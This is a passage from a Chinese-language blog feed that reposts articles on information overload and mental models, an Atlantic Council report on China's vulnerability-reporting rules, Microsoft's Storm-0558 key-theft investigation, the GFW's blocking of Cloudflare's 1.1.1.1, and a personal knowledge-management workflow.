Distraction)</strong></p><p>大约五年前,我有幸采访了Meetup的创始人,我们不经意间聊起了社交媒体的信息流推荐功能。他当时说了一句令我困惑不解的话:“如果你现在就觉得这东西容易让人上瘾,那么等到五年后再来评价吧。”</p><p>如今,五年的时光已然流转,我的与移动设备、互联网以及社交媒体的关系经历了惊人的转变。</p><p>随着时间的推移,我变得日益警觉。我甚至从手机上卸载了所有社交媒体应用,并设定了一个只有我妻子知道的App Store密码,以阻止我再次下载新应用。尽管如此,我仍觉得自己在这场战斗中节节败退。</p><p>尽管我可以随心所欲地摆脱Facebook、Twitter或YouTube,但它们每一个都是我业务发展的重要平台。我在Facebook上管理着一个拥有近五万名成员的群组,通过Facebook和谷歌来购买广告,并在Facebook上推广我的最新文章。</p><p>我曾尝试屏蔽YouTube,但考虑到它上面有大量有价值的教育视频,我最终决定还是解除屏蔽。即便我大部分时间在家工作,一旦打开电脑,我总感觉自己仿佛是在一个喧嚣的集市中设立了一间店铺。</p><p>市场营销专家、软件开发者和增长黑客正获得比以往任何时候都要多的用户行为数据。他们借助这些信息,来吸引并牢牢抓住人们的注意力,以达到让他们沉迷于产品的目的。</p><p>为了达到这个目标,他们每年都有数十亿美元的投入。他们甚至开发了基于广告收益的商业模型,或者通过传播虚假信息,以最少的努力获得最多的点击量。</p><p>更为复杂的是,不久的将来,越来越多的人可能会通过先进的VR眼镜来体验生活,这无疑会使问题进一步恶化。</p><p>关键问题在于,我们的现实和虚拟世界正被越来越多、越来越精心制作的内容所包围,无论是经过策略性筛选的内容、广告,还是假新闻。这些都是根据我们个人的喜好来定制的,形成了一股不可忽视的干扰力量,不仅分散了我们的注意力,还阻碍了我们获取更有价值的信息或实现个人目标。</p><p><strong>4.信息末日问题四:害怕错过(FOMO - Fear of Missing Out)</strong></p><p>如今,相较于十年前,吸引人的“值得一读或一看”的内容比以往任何时候都要丰富。然而,更多的选择并非总是好事,事实上,这种选择的多样性很快会让人感到不堪重负。</p><p>让人感到不堪重负的并非选项的多样性,而是高质量选项的丰富性。对人们来说,放弃这些优质选择是一件非常痛苦的事,这种现象在心理学上被称为“损失厌恶”。</p><p>此外,由于优质选择如此之多,我们经常面临一些难以明确判断哪个是最佳选择的决策。</p><p>例如,为了未来的职业规划,我们应该阅读有关数据科学或人工智能的书籍吗?或者,我们是否应该提升自己的沟通技巧以成为更优秀的领导者?又或者,我们是否应该探究最新的健身方式、饮食习惯或育儿指导,以提升个人生活的品质?</p><p>这些选择每一个都是重要的,而在这些选择之间进行权衡,就像是在苹果、橘子和杏仁之间做选择一样复杂。这类决策在心理层面上极其具有挑战性。</p><p>问题的关键在于:由于优质选择过多,加之对最佳选择的预知不足,我们总是在不断地质疑自己是否做出了正确的决策。</p><h2>结果: 媒体垃圾食品成了我们的日常饮食。</h2><p><strong>这四个挑战(内容冲击、信息茧房、注意力持续性涣散和FOMO情绪)使得未经深思熟虑的普通人更容易沉迷于“媒体垃圾食品”。</strong></p><p>他们会随意浏览眼前推荐的内容,轻易点击那些分心的信息,而当面对好的选择时,却往往感到无法确切判断哪一个是最好的。</p><p>在公共卫生领域,“食物沙漠”是指那些因为地理位置偏远,难以以合理价格获取到新鲜食物的区域。</p><p>对于那些未经深思熟虑的人来说,互联网越来越像一个“信息沙漠”,充斥着大量的低质量或误导性的信息。</p><p>更为让人担忧的是,很多人在这样的环境下误以为自己变得更加聪明了,实则恰恰相反。</p><h2>这就是问题所在,解决办法是什么?</h2><p>虽然信息末日为我们描绘了一幅黯淡的未来图景,但从另一角度看,突破性知识和信息比以往任何时候都更加丰富和触手可及。</p><p>现在,来自世界顶级专家的更多样化的知识,越来越容易获得,其中大部分都是免费的或负担得起的。据预测,<a href="http://blogs.nature.com/news/2014/05/global-scientific-output-doubles-every-nine-years.html" target="_blank">未来九年内,人类所创造的科学知识将达到目前水平的两倍</a>。</p><p>比如说,如果我想学习摄影,20年前,我只能寻找本地的专业培训课或者阅读相关书籍。而在今天,我可以轻松地在YouTube上找到27.7万个相关视频,并从中选取一个来学习。</p><p>更进一步,我还可以以180美元的价格购买Masterclass的全程通行证,从罗恩·霍华德(Ron
Howard)那里学习导演艺术,从阿伦·索尔金(Aaron Sorkin)那里研究编剧,或者从马丁·斯科塞斯(Martin
Scorsese)那里深入了解电影制作。</p><p>在这种情况下,只要我们谨慎地挑选我们所消费的信息,我们实际上就是生活在一个充满了无限可能的信息乌托邦之中。</p><p>正如查尔斯·狄更斯(Charles Dickens)在<a href="https://en.wikipedia.org/wiki/A_Tale_of_Two_Cities" target="_blank">《双城记》</a>中写道的:</p><blockquote><p>这是最好的时代,这是最坏的时代; 这是智慧的时代,这是愚蠢的时代; 这是信仰的时代,这是怀疑的时代; 这是光明的季节,这是黑暗的季节; 这是希望的春天,这是绝望的冬天; 人们眼前拥有一切,人们眼前一切荒芜; 人们正踏上天堂之路,人们正走向地狱之门;</p></blockquote><p>如何快速获取突破性知识,如何在信息噪音中快速找到信号,这些技能将在未来转化具有巨大的优势。这些人仿佛生活在一个充满“美味水果”的信息富饶之地。这正是一项被普遍低估的技能。</p><p>要将这个充满潜在危机的信息世界转变为一个乌托邦,关键在于我们需要从被动接收信息转向主动筛选和获取信息。</p><p>我们不能盲目依赖新闻摘要、默认通知、算法推荐来为我们在信息世界中指引航向。控制这些内容的公司并没有把我们的最佳利益放在心上,他们已经失去了公众的信任。</p><p>这些信息流的设计目的只有一个:在短期和长期内尽可能地吸引并抓住你的注意力。这种商业模式从根本上与我们的人生目标是相冲突的。</p><p>那么,我们应如何在这海量的信息噪声中寻找到那极少数有价值的信号呢?在一个充满“害怕错过(FOMO)”和各种干扰的环境中,如何找到那些能带来突破的知识和信息?我们应该如何在这个信息爆炸的时代中,建立起自己的信息乌托邦,而非沉沦在信息末日的漩涡里?</p><p>在接下来的部分,我提出三个解决方法:</p><blockquote><p>1.问自己一个简单的问题,可以帮助你从增强性知识中筛选出突破性知识;</p><p>2.使用具有更高信噪比的新知识格式;</p><p>3.学习一项技能,这将系统性的帮助你找到突破性知识;</p></blockquote><p><strong>解决方法一:提出问题,从增强性知识中筛选出突破性知识</strong></p><p>在掌握学习技巧时,最核心的一步就是明确区分<a href="https://medium.com/@michaeldsimmons/5-hour-rule-if-youre-not-spending-5-hours-per-week-learning-you-re-being-irresponsible-309a76eabae7?inf_contact_key=cc10aaca105fceca1da79c32996f4dcfd766532b1ddaef2f2fece5553dd0e7a6" target="_blank">增强性知识和突破性知识</a>。一旦你明确了自己的目标,找到它便会变得无比容易。</p><p>增强性知识进一步加强了我们对已知事物的认知。这就像我们已经读过二十本营销相关的书,然后又读了一本讲同样内容的书。这样的知识通常只是一时激起你的兴趣,很快就会被遗忘。</p><p>相反,突破性知识会挑战我们关于世界如何运作的基础信念,或者为我们提供一种全新的观察视角。这样的知识会深刻地影响我们。</p><p>要识别有潜力的突破性知识其实并不难。在我接触任何媒体内容之前,我都会自问一个直截了当但极具启发性的问题:</p><p>这是否有潜力从根本上改变我的生活?</p><p>这个关键问题让我避免了因为标题吸睛或者推荐在我的信息流而盲目地消费内容。</p><p>我第一次深入理解这两种知识之间的差异是在观看埃隆·马斯克的一次访谈时。当记者询问他对未来的创业者有何建议时,马斯克给出了一个出人意料的回答。<a href="https://www.youtube.com/watch?v=L-s_3b5fRd8&feature=youtu.be&t=20m41" target="_blank"></a></p><p>积极地寻求并认真听取负面反馈至关重要,这是人们倾向于避免的,因为这很痛苦。我认为这是一个很常见的错误。</p><p>当我第一次听到这个回答时感到十分惊讶。因为,这似乎过于简单了。但随后我发现,马斯克的这种方法比我初次理解的要更深刻和底层,它凸显了科学方法的威力。</p><p>让我给你举一个大家都会知道的例子。几百年前,人们普遍接受的观点是太阳围绕地球转动。尽管这个概念早在公元前3世纪就被提出过,但从未得到广泛的关注。</p><p>在整个历史长河中,每一天人们都可以看到太阳从地球的一侧升起,然后在另一侧落下。这样的个人经验看似都支持了这一普遍观点。</p><p>然而,哥白尼仅凭几年的研究和一种新颖的工具——望远镜,就成功推翻了这个长达数千年的普遍认知。他收集的新数据显示,实际上是地球绕着太阳转动。</p><p>这个众所周知的案例突出了一个至关重要的观点:能够证伪你当前观点的证据,其价值远超过能够证实你观点的证据。历代科学家都有着这样的认识:科学是通过被证伪而非被证实来不断发展的。</p><p>一条能推翻你现有观点的证据,其价值可能远胜于一百万条能证实你观点的证据,就如同一本能带来突破性知识的书籍比一百本只能提供增强性知识的书籍更有价值一样。</p><p><strong>解决方法二:意识到信息过载是一个古老的问题,有古老的解决方法值得一提的是,信息过载其实是一个由来已久的问题。信息过载的速度可能在增加,但这个问题本身并不是新出现的。</strong></p><p>人类的集体知识以一种超过我们处理能力的指数速度持续增长。</p><p>自古以来,哲学家、思想家和知识分子就一直对信息过载发出评论。罗马哲学家塞涅卡(Seneca)曾说:</p><p>拥有数不尽的书籍和图书馆有什么意义?其所有者一生可能都难以阅读完这些书名。</p><p>学习者并没有从中受到指导,反而被它们的数量所压垮。</p><p>塞涅卡的观点强调了,仅仅拥有大量的信息和资源,并不意味着能够从中受益。相反,过多的信息可能反而成为一种负担。</p><p>1962年,詹姆斯·米勒的研究更是强调了处理信息输入的重要性,表明人们必须对信息的处理和应用进行调整,而不是无节制地吸收。</p><p>而在2007年,<a href="http://neugierig.org/content/dfw/bestamerican.pdf" target="_blank">大卫·福斯特·华莱士更进一步</a>,他提醒我们,在处理海量和多变的信息时,维持开放和灵活的心态是至关重要的。</p><p>与所有古老但重要的问题一样,人们代代相传地试图解决信息过载的问题。虽然大多数尝试都失败了,但确实有一些解决方案一直存在,并且它们非常有价值。</p><p>其中一个解决方案就是寻求具有高价值密度的知识格式</p><p>社交媒体上发表的帖子,通常是一个作者一天中最好的想法。在某些情况下,如果他们发表了一篇长文章,这可能是他们这个月最好的想法。</p><p>一本书更有价值,因为它包含了作者好多年中最好的想法。它还经过了仔细的审查、批准和编辑。</p><p>书籍摘要更有价值。在过去的五年里,这类摘要的制作已经形成了一个小型产业。如果你在亚马逊搜索任何一本畅销书,极有可能会发现有数个相关的摘要版本可供购买。</p><p>在谷歌上一搜索,你甚至能找到免费的版本。像Blinkist和Get Abstract这样的平台已经汇编了数以万计的书籍摘要,并以音频和文本的形式提供给大众。</p><p>书籍摘要具有其独特的价值,原因在于它们将书中的核心观点、引人入胜的故事、实用的练习和主要的结论进行了高效压缩。</p><p>此外,在这一类别中,我还会包括那些由作者自己进行的关于书的演讲(如TEDx或Google Talks)以及与作者的专访(如播客节目)。这些都是对原书内容的精华概览。</p><p>领域摘要则是对整个领域的精炼。最好的例子是《傻瓜指南 For Dummies guides》系列。自从它们近30年前首次推出以来,该系列已经销售了超过两亿册,并且拥有2500多个不同的标题,使其成为史上最畅销的书籍系列之一。</p><p>但还有一种比领域摘要更简洁的格式,这就是所谓的<a href="https://medium.com/the-mission/the-founders-of-the-worlds-five-largest-companies-all-follow-the-5-hour-rule-and-they-re-9ca82e93f3fc" target="_blank">心智模型</a>。</p><p>2013年,当我看到内容冲击的曲线变化时,我有了一个“哇,天哪!”的时刻,并开始思考:“作为一个社会,我们该如何应对这一现象?我个人应该怎么办?”</p><p>这个问题引发了我一段历时多年、充满曲折的探寻之旅,最终让我意识到,世界上很多最聪明的企业家们与我们大多数人在知识结构上有很大的不同。他们不是将知识按照不同的学科或领域进行分类,而是使用心智模型。</p><p>这最终推动我深入研究了心智模型。</p><p>心智模型是跨时间、跨研究领域、跨生活领域观察到的现象的表征。在我看来,它们提供的知识价值最大,因为:</p><p>它们传递的知识比书本摘要,甚至是领域摘要都要浓缩得多。</p><p>随着时间的推移,它们的价值不会减少(甚至会增加)。</p><p>它们广泛适用于各个领域。</p><p>例如,我最喜欢的心智模型就是二八法则:20%的努力或投入会导致80%的结果或产出。这个规则适用于商业、创意、人际关系、健康以及其他许多领域。</p><p>另一个心智模型的例子是机会成本:即在面临多方案择一决策时,被舍弃的选项中的最高价值。</p><p>这个模型在你一生中做决定的时候是很有价值的,因为它鼓励你思考一个决定可能的替代方案。它会阻止你做出头脑中的第一选择。</p><p>当你学习心智模型时,你会开始看到生活中各个领域的潜在模型,在噪音中发现信号,就变得容易得多。你可以在《This Is Exactly How You Should Train Yourself To BeSmarter》中读到一些有价值的模型。</p><p>一旦我理解了心智模型的力量,我就开始在我的生活中使用它们。我回顾了以前的许多错误,心想:“天啊!我不敢相信我做了那个决定。如果我只知道XXX心智模型,我肯定会避免这种情况发生。”</p><p>突然,我能够在生活中遇到的问题上取得突破性的进展,而这些问题是我多年来一直停滞不前的……尤其是与金钱有关的问题。</p><p>我开始有许多更大的、违反直觉的想法,而以前我的很多想法都是很传统的。我开始用不同的方式说话和写作。我把我所有的知识都与心智模型联系起来。每一个新的情况都是一个更大原则的例子。</p><p>我能够看到更多学科之间的联系。</p><p>我现在几乎每天都会接触到“a-ha”知识。我看到或读到的东西,要么打破了我的世界观,要么将我几个月或几年来一直在探索的许多不同的东西联系了起来。</p><p><strong>解决方法三:学习如何学习</strong></p><p>学习如何学习是一系列的技能,将最终帮助我们找到突破性的知识,并将其应用到我们的生活中,以便在最短的时间内取得成果。</p><p>很少有人意识到,学习如何学习是自己独特的技能。 结果,它们并没有改善。</p><p>由于它涉及信息过载,它包括:</p><p>了解科学的方法,来<a href="https://amzn.to/2HNqAau" target="_blank">识别高质量的信息</a>。</p><p>了解<a href="https://medium.com/the-mission/modern-polymath-81f882ce52db" target="_blank">各种知识的价值</a>。</p><p>理解那些认知偏差(如<a href="https://en.wikipedia.org/wiki/Confirmation_bias" target="_blank">确认偏差</a>、<a href="https://rationalwiki.org/wiki/Backfire_effect" target="_blank">逆火效应</a>、<a href="https://en.wikipedia.org/wiki/Dunning%E2%80%93Kruger_effect" target="_blank">邓宁-克鲁格效应</a>、<a href="https://en.wikipedia.org/wiki/Halo_effect" target="_blank">光环效应</a>、<a href="https://en.wikipedia.org/wiki/In-group_favoritism" target="_blank">群体内偏见</a>)。</p><p>学习如何学习是一个宏大的话题,这些要点提供了一个起点。</p><h2>结语: 从信息末日到信息乌托邦</h2><p>我依然清晰地记得,在我还是纽约大学的学生时,有一次我与城市中心20所高中的学生进行了关于创业精神的对话。那次经历让我深切地感受到了这个世界存在着多么巨大的不平等。</p><p>我尤其难忘的是哈莱姆区的一所高中,那里更像一座监狱,而非一个教育机构。所有的窗户都被木板牢牢封住,建筑物外部布满了涂鸦。为了进入学校,我还需要经过金属探测器的检测。学校四周是围墙和废弃的建筑,几乎像是一座孤岛。</p><p>与此形成鲜明对比的是,我的高中环境美丽,周围是鲜花、运动场和繁茂的树木。在我那一届毕业生中,几乎每个人都有机会进入大学深造。</p><p>当我踏入哈莱姆的那所学校,我感到一阵深沉的悲哀。谁能说这里的机会是平等的呢?学生们能上哪所学校,归根结底只取决于他们碰巧出生的地方。</p><p>这种社会差距不仅令人心痛,而且更让我担忧的是,网络世界可能孕育出比现实世界更大的不平等。尽管互联网理论上为每个人提供了平等的机会,但并非每个人都平等地理解如何充分利用这些机会。</p><p>这种情况导致了一部分人生活在信息过剩的混乱世界里,而另一部分人则享受着信息丰富的乌托邦。如果我们不积极地学习网络环境管理的技能,并将这些知识广泛传播,我担心我们的社会将进一步两极分化。</p><p>via <a href="https://www.linkedin.com/pulse/while-everyone-distracted-social-media-successful-people-simmons-1e/" target="_blank">https://www.linkedin.com/pulse/while-everyone-distracted-social-media-successful-people-simmons-1e/</a> & <a href="https://here.news/post/51490631-fddf-4699-af26-42d721ddc3bc/%E4%BF%A1%E6%81%AF%E8%8C%A7%E6%88%BF%E8%87%AA%E6%95%91%E6%8C%87%E5%8D%97">https://here.news/post/51490631-fddf-4699-af26-42d721ddc3bc/%E4%BF%A1%E6%81%AF%E8%8C%A7%E6%88%BF%E8%87%AA%E6%95%91%E6%8C%87%E5%8D%97</a> <br /></p></div> <div class="blogger-post-footer">翻墙技术博客<a href="http://www.chinagfw.org/2013/09/blog-post.html">订阅地址及社交帐号</a></div>pompeihttp://www.blogger.com/profile/07160630084550754009noreply@blogger.com0tag:blogger.com,1999:blog-5500297126185736776.post-85142867200139791912023-09-09T11:15:00.001+08:002023-09-13T09:40:57.649+08:00中国如何将软件漏洞武器化<p>via <a href="https://here.news/post/6a190ad3-cf18-4e0c-a6ca-875b7cf41551/miit%E7%9A%84%E6%96%B0%E6%BC%8F%E6%B4%9E%E6%95%B0%E6%8D%AE%E5%BA%93%E4%B8%8E%E4%B8%AD%E5%9B%BD%E5%9B%BD%E5%AE%B6%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94%E6%8A%80%E6%9C%AF%E5%8D%8F%E8%B0%83%E4%B8%AD%E5%BF%83%EF%BC%88cncert-c">HERE</a><br /> </p><p>Atlantic Council 于2023年9月6日<a href="https://www.atlanticcouncil.org/in-depth-research-reports/report/sleight-of-hand-how-china-weaponizes-software-vulnerability/">发布一份报告</a>,由Dakota Cary和Kristin Del Rosso撰写,探讨了中国如何利用新的漏洞管理系统武器化软件漏洞。<br /><br /><br />报告揭示,中国2021年《软件漏洞管理办法》要求研究人员和公司在48小时内向国家漏洞数据库(NVDB)报告漏洞。报告确定了一些表现出色的公司遵守了法律,并暗示可能有更多外国公司参与其中。报告指出,向NVDB报告的漏洞很可能被中国的攻击团队利用。<br /><br />报告还强调,与工业和信息化部(MIIT)共享的漏洞信息被传递给具有攻击任务或与过去黑客攻击有关的实体,如国家安全部第13局(CNITSEC)的北京局、上海交通大学和北京天融信。报告认为,这些实体有可能将接收到的漏洞报告用于攻击目的。<br /><br />报告还指出,在2021年规定之前,公司向国家安全部的中国国家漏洞数据库(CNNVD)报告漏洞,并且在向MIIT提交漏洞报告的公司中存在重叠。报告得出结论,中国的新漏洞管理系统存在重大风险,并引发了对漏洞报告被用于攻击性网络行动的担忧。<br /><br />报告要点:<br /><br />- 《网络产品安全漏洞管理规定》(RSMV)于2021年9月在中国实施,要求在发现漏洞后的48小时内向工业和信息化部(MIIT)报告软件漏洞。<br /><br />- 这些规定还禁止在补丁发布之前公开漏洞信息,发布概念验证代码以及夸大漏洞的严重性。<br /><br />- MIIT的新漏洞数据库与中国国家计算机网络应急响应技术协调中心(CNCERT/CC)和公安部(MPS)共享数据,使它们能够访问漏洞报告并有可能将其用于攻击行动。<br /><br />- 在实施这些规定时出现了官僚主义问题,导致漏洞披露减少到其他政府管理的数据库。目前尚不清楚CNCERT/CC是否能够通过与其他国家的事件响应合同收集漏洞信息。<br /><br />- MIIT正在资助研究项目以改进产品安全标准,并从网络安全公司那里接收软件漏洞。这些漏洞很可能会被国家安全部门用于攻击行动的评估。<br /><br />- 中国的规定与美国的分散、自愿报告系统存在显著差异。<br /><br /><br /><img src="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/7715bd95-c702-4b89-b57a-662da3cd1097_image_image.png" /><br /><br /><br /><br />完整报告: <a href="https://www.atlanticcouncil.org/in-depth-research-reports/report/sleight-of-hand-how-china-weaponizes-software-vulnerability/">https://www.atlanticcouncil.org/in-depth-research-reports/report/sleight-of-hand-how-china-weaponizes-software-vulnerability/</a></p><div class="blogger-post-footer">翻墙技术博客<a href="http://www.chinagfw.org/2013/09/blog-post.html">订阅地址及社交帐号</a></div>pompeihttp://www.blogger.com/profile/07160630084550754009noreply@blogger.com0tag:blogger.com,1999:blog-5500297126185736776.post-80959386130590998582023-09-07T09:57:00.000+08:002023-09-11T11:51:26.046+08:00Storm-0558密钥获取的过程<p><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> via <a href="https://msrc.microsoft.com/blog/2023/09/results-of-major-technical-investigations-for-storm-0558-key-acquisition/">https://msrc.microsoft.com/blog/2023/09/results-of-major-technical-investigations-for-storm-0558-key-acquisition/<br /></a></span></p><p><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">2023年9月6日,微软发布了一篇博客文章,详细介绍了中国威胁行动者Storm-0558如何使用获得的Microsoft账户(MSA)消费者密钥伪造令牌以访问OWA和Outlook.com。在确定威胁行动者获得了消费者密钥后,微软进行了一项全面的技术调查,调查了Microsoft账户消费者签名密钥的获取方式,以及它如何被用来访问企业电子邮件。我们的技术调查已经结束。作为我们对透明度和信任的承诺的一部分,我们将发布我们的调查结果。<br /><br />密钥获取<br /><br />微软维护着一个高度隔离和限制的生产环境。微软员工访问生产基础设施的控制措施包括背景调查、专用账户、安全访问工作站以及使用硬件令牌设备的多因素身份验证。该环境中的控制措施还防止使用电子邮件、会议、网络研究和其他合作工具,这些工具可能导致常见的账户被入侵矢量,如恶意软件感染或钓鱼,同时使用及时和有限访问策略限制对系统和数据的访问。<br /><br />我们的企业环境也需要安全身份验证和安全设备,并允许使用电子邮件、会议、网络研究和其他合作工具。虽然这些工具很重要,但它们也使用户容易受到针对性网络钓鱼、令牌窃取恶意软件和其他账户被入侵矢量的攻击。因此,根据政策和作为我们零信任和“假定受损”思维方式的一部分,密钥材料不应离开我们的生产环境。<br /><br />我们的调查发现,2021年4月发生的消费者签名系统崩溃导致了一个崩溃进程的快照(“崩溃转储”)。这些崩溃转储应该不包含签名密钥。但在这种情况下,一个竞争条件导致密钥出现在崩溃转储中(这个问题已经得到修复)。我们的系统没有检测到崩溃转储中的密钥材料(这个问题已经得到修复)。<br /><br />我们发现,这个崩溃转储在当时被移动到了隔离的生产网络之外,进入了我们连接到互联网的企业网络的调试环境。这与我们的标准调试流程一致。我们的凭证扫描方法没有检测到其存在(这个问题已经得到修复)。<br /><br />在2021年4月之后,当密钥通过崩溃转储泄露到企业环境时,Storm-0558行动者成功入侵了一名微软工程师的企业账户。该账户具有访问包含错误包含密钥的崩溃转储的调试环境的权限。由于日志保留政策的原因,我们没有具体证据证明这个行动者的数据外泄,但这是最可能的行动者获取密钥的机制。<br /><br />消费者密钥为什么能够访问企业邮件<br /><br />为了满足日益增长的客户需求,支持同时使用消费者和企业应用程序的应用程序,微软在2018年9月引入了一个公共密钥元数据发布端点。作为这个统一提供的一部分,微软更新了文档,澄清了密钥范围验证的要求-用于企业账户的密钥以及用于消费者账户的密钥。<br /><br />作为预先存在的文档和辅助API库的一部分,微软提供了一个API来帮助进行加密签名的验证,但没有更新这些库以自动执行这个范围验证(这个问题已经得到修复)。邮件系统在2022年更新,使用了公共元数据端点。邮件系统中的开发人员错误地认为库已经执行了完整的验证,并没有添加所需的发行者/范围验证。因此,邮件系统会接受使用消费者密钥签名的安全令牌的企业邮件请求(这个问题已经使用更新的库得到修复)。<br /><br />事后回顾<br /><br />微软作为我们的深度防御策略的一部分,不断加强系统的安全性。与MSA密钥管理相关的投资在https://aka.ms/storm-0558博客中有详细介绍。本博客中详细介绍的内容只是这些整体投资的一部分。为了明确起见,我们在这里总结了与这些发现相关的改进措施:<br /><br />- 确定并解决了允许签名密钥出现在崩溃转储中的竞争条件问题<br />- 加强了对错误包含在崩溃转储中的密钥材料的预防、检测和响应能力<br />- 加强了凭证扫描以更好地检测调试环境中签名密钥的存在<br />- 发布了增强的库,以自动进行身份验证库中的密钥范围验证,并澄清了相关文档<br /></span> </p><div class="blogger-post-footer">翻墙技术博客<a href="http://www.chinagfw.org/2013/09/blog-post.html">订阅地址及社交帐号</a></div>pompeihttp://www.blogger.com/profile/07160630084550754009noreply@blogger.com0tag:blogger.com,1999:blog-5500297126185736776.post-15247843211910206432023-09-06T19:15:00.004+08:002023-09-09T11:15:23.249+08:00中国GFW封锁了Cloudflare的1.1.1.1 和WARP官网的HTTPS访问<span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">
</span><div class="SinglePost_SinglePost__3in7m"><p>via <a href="https://here.news/post/1b17e6fe-b45c-465f-a416-c8fac066bf37/%E4%B8%AD%E5%9B%BDgfw%E5%B0%81%E9%94%81%E4%BA%86cloudflare%E7%9A%841-1-1-1-%E5%92%8Cwarp%E5%AE%98%E7%BD%91%E7%9A%84https">HERE </a><br /></p><p>中国的网络审查系统(GFW)封锁了由Cloudflare运营的1.1.1.1
WARP官网的HTTPS访问。这个封锁行为是在2023年9月5日下午开始的。虽然很多DoH(DNS over
HTTPS)早就被封了,但1.1.1.1这个网站一直未被封锁,直到现在才被封锁。这可能是因为GFW不得不补上这个“漏洞”,防止类似操作在推广的Early-Data
with Client Hints(ECH)中被大规模复制。</p><div data-file="" data-filetype="image/png" data-url="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/e1718762-fbcb-473b-921c-dbae1031acf9_image_image.png"><img alt="Picked image" src="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/e1718762-fbcb-473b-921c-dbae1031acf9_image_image.png" /></div><p>目前还没有关于ECH被封锁的报道。2020年,ESNI(Encrypted
Server Name
Indication)在中国被封锁,但ESNI封锁是针对特定的传输层安全性(TLS)扩展号码进行的。而ECH使用不同的扩展号码。目前没有任何审查测量平台正在测试ECH。</p><p>中国的网络审查系统(GFW)采用了一种介于放行和封锁之间的模糊干扰机制。一些大型网站在中国访问时可能会不稳定,但并非完全无法打开,比如github.com。几天前的测试中,1.1.1.1可以正常访问(实际上很多人都知道它以前没有被封锁),但是需要重新启动几次Chrome才能成功测试Cloudflare的ECH。根据昨天的新闻和很多人的测试结果,1.1.1.1的TCP/443端口无法使用,但其他端口的服务可以正常访问。这表明底层路由没有问题,GFW专门封锁了1.1.1.1的TCP/443端口,这与之前的行为不同。</p><p>根据路由追踪结果,TTL(Time to Live)在传输中过期的问题似乎是由省级移动运营商的干扰导致的。最后一跳的IP地址指向了省级移动运营商的服务器。</p><div data-file="" data-filetype="image/png" data-url="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/9a7cdc57-c9d5-4dea-a2c8-1df3456c7e84_image_image.png"><img alt="Picked image" src="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/9a7cdc57-c9d5-4dea-a2c8-1df3456c7e84_image_image.png" /></div><p>总的来说,中国的网络审查系统(GFW)封锁了由Cloudflare运营的1.1.1.1
WARP官网的HTTPS访问。这可能是为了防止类似操作在推广的ECH中被大规模复制。目前还没有ECH被封锁的报道,而之前的ESNI封锁是针对特定的TLS扩展号码进行的。GFW采用了一种模糊干扰机制,一些大型网站在中国访问时可能会不稳定。1.1.1.1的TCP/443端口被封锁,但其他端口的服务可以正常访问。TTL过期的问题可能是由省级移动运营商的干扰导致的。</p><p>via <a href="https://github.com/net4people/bbs/issues/280#issuecomment-1706267069" target="_blank">https://github.com/net4people/bbs/issues/280#issuecomment-1706267069</a></p></div> <div class="blogger-post-footer">翻墙技术博客<a href="http://www.chinagfw.org/2013/09/blog-post.html">订阅地址及社交帐号</a></div>pompeihttp://www.blogger.com/profile/07160630084550754009noreply@blogger.com2tag:blogger.com,1999:blog-5500297126185736776.post-84769969047636290802023-09-05T11:20:00.000+08:002023-09-07T09:57:19.915+08:00个人信息获取与知识管理系统(Heptabase + Logseq + Readwise)<span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">
</span><div id="前言" style="text-align: left;">via: <a href="https://www.pseudoyu.com/zh/2023/09/05/my_personal_pkm_input_output_system/">https://www.pseudoyu.com/zh/2023/09/05/my_personal_pkm_input_output_system/</a> <br /></div><h2 id="前言">前言</h2><p><img alt="yu_blog_my_pkm_system" src="https://image.pseudoyu.com/images/yu_blog_my_pkm_system.png" /></p><p>我似乎一直有一种把自己作为一个机器来看待的倾向,常常会以置身事外的视角来观察自己,集成各个模组,并不断折腾和优化。当自己搭建的某种行为模式或是习惯在某个时刻突然发挥了作用就会有一种欣喜感,而当受到外界或是自身状态影响而停止运转时则会有一种秩序感被打破的重度不适。</p><p>作为一个效率工具控,我的个人知识管理与信息管理则可以说是自己最重要的一部分。其实本没有想要写这篇文章,有太多的先例实践在前,而自己也只是一种前人基础上的微调优化,常常没有什么信心去分享,而这周重新搭建和优化了一下自己的知识管理系统,很开心,有一种想要记录下来的冲动,本来只是想在周报里稍稍提及,却发现越写越收不住,于是就有了这篇文章。</p><p>其实之前对于信息输出在周报中时常有提及,所以本文也会覆盖一些之前的内容,并且终于补上了信息获取和知识管理的部分,就作为一个总集篇了。其中,理论的部分,如“费曼学习法”、“卢曼卡片盒笔记法”已经有很多很好的介绍文章,不再花篇幅介绍了,而更多的是阐述我使用的软件工具实践,希望能够对大家有所帮助。</p><h2 id="信息获取与管理">信息获取与管理</h2><p>不知道从什么时候起,其实能很明显感受到自己对网络世界信息的依赖。可能有别于游戏瘾或是经常被诟病的短视频算法鸦片,我的这种依赖并不是机械性地刷刷刷,或是面对焦虑时的逃避,而是一种对于信息获取的渴求,甚至内化为了一种生活方式。因为我对自己的信息筛选和消化能力颇有信心,所以其实一直以来没有在输入源和整理上花太多的心思。</p><p>而随着自己接触和感兴趣的领域越来越多,信息不断积累,有时候仅仅是浏览和通读都已经有些超过了记忆负荷,并且这些信息常常也零散地留在我的笔记或是脑海的某个角落中,并没有成为内化的一部分,以后也很难记起或是检索,于是重新对自己的信息获取方式进行了梳理。</p><h3 id="信息源分类">信息源分类</h3><p>我的信息来源按照大类可以分为以下几类:</p><ol><li>随机想法</li><li>信息流</li><li>聚焦阅读</li></ol><h4 id="随机想法">随机想法</h4><p><img alt="logseq_random_thoughts" src="https://image.pseudoyu.com/images/logseq_random_thoughts.png" /></p><p>在日常生活、工作、学习或是什么任意的时刻,我有时候会萌生一些随机的想法,这些想法和当前所做的事并不相关或是天马行空,但也许会在未来的某个时刻被用到。因为我大部分时间都不会离开电脑太远,我通常会记录
